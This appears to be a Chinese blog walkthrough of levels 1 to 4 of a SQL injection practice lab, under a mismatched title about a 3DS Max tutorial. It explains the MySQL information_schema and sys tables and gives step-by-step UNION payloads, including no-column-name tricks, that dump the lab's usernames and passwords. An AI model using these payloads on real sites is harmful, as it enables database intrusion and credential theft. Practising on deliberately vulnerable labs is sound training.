0
点赞
收藏
分享

微信扫一扫

图文教程:如何在 3DS Max 中创建3D迷你卡通房屋

胡桑_b06e 2023-07-27 阅读 77

目录

 环境⭐

先要 ⭐⭐⭐⭐⭐

Less - 1 (information_shcema)

Less - 2 (假设没有information_schema)

Less - 3 (无列名注入)

Less - 4 


     MySQL8.0.12

     Nginx1.15.11 

 MySQL5.0以上有这几个数据库mysql, sys,information_schema

 information_schema:

这个数据库下有两张关键的表,一个是tables,一个是columns

 👆这是tables表,会将数据库名(table_schema)与表名(table_name)联立起来,方便查看这个数据库下到底有哪些表

 👆这是columns表,这个更齐一点,把字段名(column_name)与表和数据库的关系都对应起来了

但是在爆出表名的时候还是会有些许的问题,因为这个表每个字段都会有对应,所以在查表名的时候表名可能会重复出现多次(具体多少次看这个表有多少个字段)

sys:

    sys.schema_auto_increment_columns:[这个库有局限,只有root才能访问]

     sys.x$schema_table_statistics_with_buffer:

    sys.x$schema_table_statistics:

    sys.x$ps_schema_table_statistics_io

分析: 

   提示输入id的值

   看起来是返回对应序号的用户与密码,构造个payload判断一下是什么类型

 

  没报错显然是个字符型 ,那就闭合开始构造

+++++++++++++

注入:

  ①判断字段

  ②看显示位   ?id=-1' union select 1,2,3 --+(注意让前面id= -1使前半部分查询失败)

   ③看数据库版本与当前数据库  ?id=-1' union select 1,database(),version() --+

   ④看当前数据库下有哪些表(先要中详细介绍过了)

?id=-1' union select 1,database(),group_concat(table_name) 
from information_schema.tables where table_schema='security' --+
【注意:group_concat是将查询结果放在一起,这里显示位只显示一个
数值,所以用select是不行的】

   ⑤估计关键信息都在users表里了,爆出字段名

?id=-1' union select 1,database(),group_concat(column_name) 
from information_schema.columns where table_name='users' --+

     很明显这个username和password就是我们要的东西。

⑥最终payload:(那个0x3a是ASCII码十六进制意思是:拿来当分隔符而已)

?id=-1' union select 1,database(),group_concat(username,0x3a,password) 
from users --+

 分析:

    看起来和less1差不多,接下来判断一下是字符型还是数字型 

    报错了,好样的一看就是数字型那甚至不用 ' 闭合了

注入: 

    和Less1一致,依次看信息最后联合注入即可

①爆字段数 闭合后同Less1

②爆显示位 闭合后同Less1

③爆表名

?id=-1 union select 1,2,group_concat(table_name)
from sys.schema_auto_increment_columns where table_schema=database()--+

//只是举例,先要中sys的三个表在这都可以用

?id=-1 union select 1,2,group_concat(table_name)
from sys.schema_table_statistics_with_buffer where table_schema=database()--+

 ④爆字段名【在不用information_schema.columns的情况下】

?id=-1 union select * 
from (select * from users as a join users as b)as c--+
后面那句意思把两张表联立起来作为一张新表c作为外层的from查的表
因为a表和b表其实都是users表,所以会报列名重复的错,但是只会报第一列

    目前只能爆出第一列,还需要接着爆

?id=-1 union select * 
from (select * from users as a join users b using(id))c--+

?id=-1 union select * 
from (select * from users as a join users b using(id,username))c--+

?id=-1 union select * 
from (select * from users as a join users b using(id,username,password))c--+

 

 

?id=-1 union select 1,2,group_concat(username,0x3a,password) 
from users --+

   Less2与Less1其实只有一个区别就是sql语句是字符型还是数字型,这里只是演示没有information_schema这个数据库的权限的时候查什么。

分析:

    又是传id

    好像和前两个差不多,判断是数字还是字符?id=1 order by 9999 --+

    字符型,试着闭合 

    提示在第一行的值旁边报错了,那用 ') 闭合一下试试

    闭合成功 

注入:

?id=1") order by 3 --+  //字段数

?id=-1') union select 1,2,3 --+   //显示位

?id=-1') union select 1,2,group_concat(table_name) 
from information_schema.tables where table_schema=database() --+
​

    无列名的条件下进行注入 :

        正常查询:

         别名联合查询:

     所以我们可以在知道表名和列数的情况下,可以直接构造payload了

?id=-1') union select 1,2,group_concat(`2`,':',`3`) 
from (select 1,2,3 union select * from users)as c --+

分析:

     老样子,先传个id

    判断字符型or数字型

    判断出来是字符型,之后尝试闭合

    发现单引号没效果,试试双引号去

    标亮部分是我传的值,说明后边需要一个 ") 来闭合

注入:

    只是闭合方式不同,Less 4就不演示详细过程了

?id=-1") union select 1,2,group_concat(username,0x3a,password) 
from users --+
举报

相关推荐

0 条评论